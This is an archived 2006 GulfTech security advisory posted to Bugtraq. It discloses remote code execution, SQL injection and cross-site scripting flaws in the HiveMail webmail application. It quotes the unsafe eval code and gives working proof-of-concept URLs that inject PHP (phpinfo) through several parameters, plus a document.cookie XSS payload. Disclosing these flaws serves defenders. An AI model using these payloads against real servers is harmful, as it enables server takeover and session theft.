lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <43ED40DF.8010404@gulftech.org>
Date: Fri, 10 Feb 2006 19:41:51 -0600
From: GulfTech Security Research <security@...ftech.org>
To: Secunia Research <vuln@...unia.com>, bugtraq@...urityfocus.com,
	moderators@...db.org
Subject: HiveMail <= 1.3 Multiple Vulnerabilities


##########################################################
# GulfTech Security Research            February 10, 2006
##########################################################
# Vendor : HiveMail
# URL : http://www.hivemail.com/
# Version : HiveMail <= 1.3
# Risk : Multiple Vulnerabilities
##########################################################


Description:
HiveMail is a powerful web-based email program that allows
you to offer personal email accounts to your visitors. This
makes HiveMail a popular choice for business and individuals
alike. Unfortunately there are a number of remote code
execution vulnerabilities in HiveMail due to unsafe eval
calls that may allow an attacker to compromise the underlying
web server. In addition there are also vulnerabilities that
allow an attacker to perform SQL Injection and Cross Site
Scripting attacks.



Remote Code Execution:
There are a substantial number of Remote Code Execution issues
in HiveMail that allow for an attacker to easily execute php
code on the target server. Lets have a look at the file named
addressbook.update.php @ lines 273-300

if ($_POST['cmd'] == 'remove') {
	if ($contactgroupid == 0) {
		eval(makeerror('error_addbookcannotremove'));
	}
	if (!is_array($contactcheck)) {
		invalid('contacts');
	}
	$groupcontents = $DB_site->query_first("
		SELECT contacts
		FROM hive_contactgroup
		WHERE contactgroupid = $contactgroupid
		AND userid = $hiveuser[userid]
	");
	$groupcontent = explode(',', $groupcontents['contacts']);
	foreach ($contactcheck as $bookid => $doit) {
		if ($doit == 'yes') {
			$key = array_search($bookid, $groupcontent);
			array_splice($groupcontent, $key, 1);
		}
	}
	$DB_site->query("
		UPDATE hive_contactgroup
		SET contacts = '".addslashes(implode(',', $groupcontent))."'
		WHERE contactgroupid = $contactgroupid
		AND userid = $hiveuser[userid]
	");
	eval(makeredirect("redirect_addbook_removeentries", 
"addressbook.view.php?contactgroupid=$contactgroupid"));
}

In the above code the variable $contactgroupid is taken from
user supplied data. There are a few obstacles to bypass in
order for there to be Code Execution, but it is nothing too
complicated.

http:///hivemail/addressbook.update.phpcmd=remove&contactgroupid
=1%20--%20");phpinfo();@ob_start("&submit=1&contactcheck[]=1&con
tactcheck[]=2

The above command would successfully set $contactgroupid to
a value grater than zero, not cause an SQL Error, and eventually
get executed @ line 299. It should be noted though that even if
code execution isn't possible then SQL Injection within the same
variable $contactgroupid is. This same type of issues takes place
in a number of locations within HiveMail.

http://hivemail/addressbook.add.php?cmd=quick&messageid=1");phpin
fo();@ob_start("&popid=1&msgid=1

http://hivemail/folders.update.php?cmd=mark&folderid=0%20--%20%22)
;phpinfo();@ob_start(%22

The files calendar.event.php, index.php, pop.download.php,
read.bounce.php, rules.block.php, language.php and possibly
others contain vulnerable code very similar to that which
I pointed out earlier.



Cross Site Scripting & SQL Injection:
Hivemail is vulnerable to cross site scripting because it
makes use of unsanitized $_SERVER['PHP_SELF'] references.

http://hivemail/index.php/%22%3E%3Cscript%3Ealert(document.cookie)
;%3C/script%3E

Once logged in a malicious attacker could replace the code
above with the variable folderid containing a malicious SQL
statement and have it executed.



Solution:
The vendor was unresponsive to my contact attempts, and according
to some of the people on the HiveMail forums the project has been
fairly dormant as of late.

http://forum.hivemail.com/showthread.php?p=26745

Until an updated version of HiveMail is released users are very
strongly advised to not use this vulnerable application.



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00098-02102006


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ